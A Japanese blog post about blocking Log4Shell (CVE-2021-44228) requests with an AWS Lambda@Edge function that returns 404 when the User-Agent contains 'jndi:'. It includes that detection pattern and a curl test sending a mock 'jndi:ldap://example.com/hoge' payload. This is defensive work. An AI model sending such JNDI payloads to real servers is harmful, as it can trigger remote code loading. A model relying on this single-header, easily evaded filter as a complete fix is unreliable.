LoginSignup
1
0

Lambda@Edgeで脆弱性対策

Posted at

Lambda@Edge で脆弱性対策

あらすじ

新たなウェブサイトの脆弱性への攻撃手法が出回り始めたけど、すぐには改修できない。
システムの外部で攻撃防御を行うにはWAFを使うことになるけれど、AWS WAFは高い。
(個人のウェブサイト維持費としては。会社ならどうということはないのですが)

特定の条件に合致するリクエストを弾くだけならば Lambda@Edge でも可能では?
ということで試してみた話。
今回はApache log4jの任意のコード実行の脆弱性(CVE-2021-44228)を対象とします。
https://www.jpcert.or.jp/at/2021/at210050.html

Lambda@Edgeとは

Amazon CloudFront の機能で、CDNエッヂで実行可能なLambda関数。
ウェブサイトへアクセスがあった都度実行させて、その結果を返すことができます。
ということはWAF的な動作も可能なはずです。

前提条件

脆弱性対策を行いたいウェブサイトで Amazon CloudFront (CDN) を利用していること。
Amazon CloudFrontのディストリビューション作成についてここでは触れません。
作成されている事を前提とします。

手順

1. Lambda関数の作成

まずは実行するLambda関数を作成しますが、最初に注意。
Lambda@Edge用のLambda関数は必ず us-east-1 リージョンで作成する必要があります。
これはCloudFrontのリージョンが常に同リージョンだからです。
右上のリージョン表示が バージニア北部 (us-east-1) であることを確認して進めます。
AWSマネジメントコンソールから AWS Lambda の 関数の作成 を開きます。

image.png

ソースコードを作成します。
内容は CloudFront から Lambda@Edge に送られてくるデータから User-Agent を抽出し、log4j脆弱性に対する攻撃パターンである jndi: という文字列を検出したら404エラーを返し、それ以外は通常通り処理する(requestを返す)という簡単なものです。
Lambda@Edgeはウェブサイト全てのアクセスに対して毎回呼び出されますから、極力軽く作りましょう。

def lambda_handler(event, context):
    request = event['Records'][0]['cf']['request']
    headers = request['headers']

    error_response = {
        'status': '404',
        'statusDescription': 'Not Found',
        'body': 'Not Found'
    }

    try:
        useragent = headers['user-agent'][0]['value']
        return error_response if ('jndi:' in useragent) else request
    except Exception:
        return error_response

このコードを画面内のコードソース /lambda_function.py 部分に貼り付けます。

image.png

貼り付けたら Deploy ボタンをクリックします。
image.png

2. Lambda関数のテスト

Deploy ボタン隣の Test をクリックしテストイベントを作成します。
image.png
イベント名は適当に名前を付け、
テンプレートから cloudfront-ab-test を選択します。
画面下の 保存 をクリックすると保存され画面が閉じます。

再び テスト をクリックします。
image.png

テストに成功したことがわかります。

3. IAMロールの編集

Lambda関数をLambda@Edgeから呼び出せるよう、IAMロールを編集します。
設定 - アクセス権限 とクリックすると 実行ロール が表示されます。
image.png
表示された画面から ロール名 欄の文字列をクリックすると、別画面でIAMロールの画面が開きます。
image.png

信頼関係 - 信頼ポリシーを編集 をクリックすると編集画面になります。
ここでポリシーを編集します。
具体的には Principaledgelambda.amazonaws.com を追加します。
下記コードを貼り付けます。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": [
                    "lambda.amazonaws.com",
                    "edgelambda.amazonaws.com"
                ]
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

ポリシーを更新 をクリックすれば更新完了です。
IAMロールの画面は閉じて構いません。

ここではまった:
複数のサービスを登録する場合、サービスを , で追加するだけでなく、それらを [ ] で囲む必要があります。
編集前のIAMロールには一つのサービス(lambda.amazonaws.com)が登録されているのみですから [ ] がありません。よってこれも自分で追記する必要があります。
jsonの基本らしいですが、古い人間はこれを理解出来ず半日が過ぎました...

4. Lambda@Edgeへのデプロイ

AWS Lambda の画面に戻ります。
アクション をクリックし、出現した選択肢から Lambda@Edge へのデプロイ をクリックします。
image.png

Lambda@Edge へのデプロイ 画面が出現します。
image.png

  • Distribution は デプロイする CloudFrontディストリビューションを選択
  • Cache behavior* を入力
  • CloudFront eventViewer request を選択
  • Confirm deploy to Lambda@Edge のチェックボックスをチェックする

そして デプロイ をクリックすると画面遷移します。

image.png

このような画面が出現すればデプロイ完了です。
Amazon CloudFront は世界各地にデプロイされますから、数分かかります。
しばらく待ってから次に進みます。

5. 動作確認

それでは動作確認しましょう。今回はcurlで行います。

まずは通常の接続を試みます。

$ curl http://d2qmc8j12nwv5z.cloudfront.net/
<HTML><BODY><H1>TEST OK</H1></BODY></HTML>
$

問題無く接続されましたね。
次に、log4j攻撃を装い、User-Agentに細工をして接続を試みます。

$ curl --user-agent jndi:ldap://example.com/hoge http://d2qmc8j12nwv5z.cloudfront.net/
Not Found
$

404エラーで Not Found と返されました。
成功です。

注意点

更新時は再デプロイが必要

Lambda@EdgeではLambda関数の $latest は利用できません。
Lambda関数を更新してもLambda@Edgeへいっこうに反映されずに悩みました。
Lambda関数を更新したら、「毎回」手順4の Lambda@Edgeへのデプロイ を行う必要があります。

同時アクセスはLambda関数の同時実行数上限まで

Lambda関数の同時実行数は既定では1000です。
つまり同時に1000を超えるアクセスがされるとLambda関数が実行できず、CloudFrontがエラーを返してしまいます。
上限緩和申請を行っても一般にその上限は3000です。高トラヒックのウェブサイトには向きません。
まぁ、通常そのようなウェブサイトはきちんとWAFを導入するでしょうからここでは気にしないことにします。

まとめ

Lambda@Edgeを利用してお安くお手軽に脆弱性対策ができました。
しかしながら、もちろんこれは本来の使い方ではありません。
ご利用は計画的に。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0